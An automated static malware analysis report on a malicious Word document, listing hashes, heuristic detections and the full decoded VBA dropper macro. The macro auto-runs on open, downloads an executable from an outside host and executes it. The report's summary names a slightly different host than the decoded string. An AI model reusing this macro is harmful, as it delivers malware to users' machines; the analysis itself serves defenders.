Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8619c2ca5a5c06e6…

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-12-27 19:11:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: 0ed7da3d0a7fe3c660c9a6cb57bee9ef SHA-1: 28c84bfe86f031268f7572ce17cb6a3f05400644 SHA-256: 8619c2ca5a5c06e6257eb6c1fe64a1c291beef359f7ad58e7aedbb5c17881229
438 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document designed to lure users into enabling macros. Upon enabling, the AutoOpen VBA macro executes, which uses URLDownloadToFileA to download a second-stage executable from 'http://popping.info/bean.exe' and saves it as '%APPDATA%\bitvise.exe'. The script then uses WScript.Shell to execute the downloaded file.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6618459-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6618459-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Set ILLLLEE = CreateObject("wscript.shell")
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function MKw5X Lib "urlmon" Alias "URLDownloadToFileA" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set ILLLLEE = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ILLLL = Environ("AppData") & "\" & "bitvise.exe"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1209 bytes
SHA-256: 9fec0f026b4327cb68ca112f6094470429e84d4da2260ba9dd31002ca40aa779
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function MKw5X Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal wL25v As Long, ByVal maYWw As String, ByVal umVG As String, ByVal fZHVhE As Long, ByVal zTrQG As Long) As Long
#Else
    Private Declare Function MKw5X Lib "urlmon" Alias "URLDownloadToFileA" _
        (ByVal Uz5pX As Long, ByVal YmvhK As String, ByVal hUdn1 As String, ByVal maYWw As Long, ByVal fZHVhE As Long) As Long
#End If
    
Sub AutoOpen()
    IIII$ = "h" & "t" & "t" & "p" & ":" & "/" & "/" & "p" & "o" & "p" & "p" & "i" & "n" & "g" & "c" & "." & "i" & "n" & "f" & "o" & "/" & "b" & "e" & "a" & "n" & "." & "e" & "x" & "e"
    ILLLL = Environ("AppData") & "\" & "bitvise.exe"
    lHGv = MKw5X(0, IIII, ILLLL, 0, 0)
   Dim ILLLLEE As Object, i As Integer
   Set ILLLLEE = CreateObject("wscript.shell")
   Set ILLLLEE = ILLLLEE.exec(ILLLL)
   
End Sub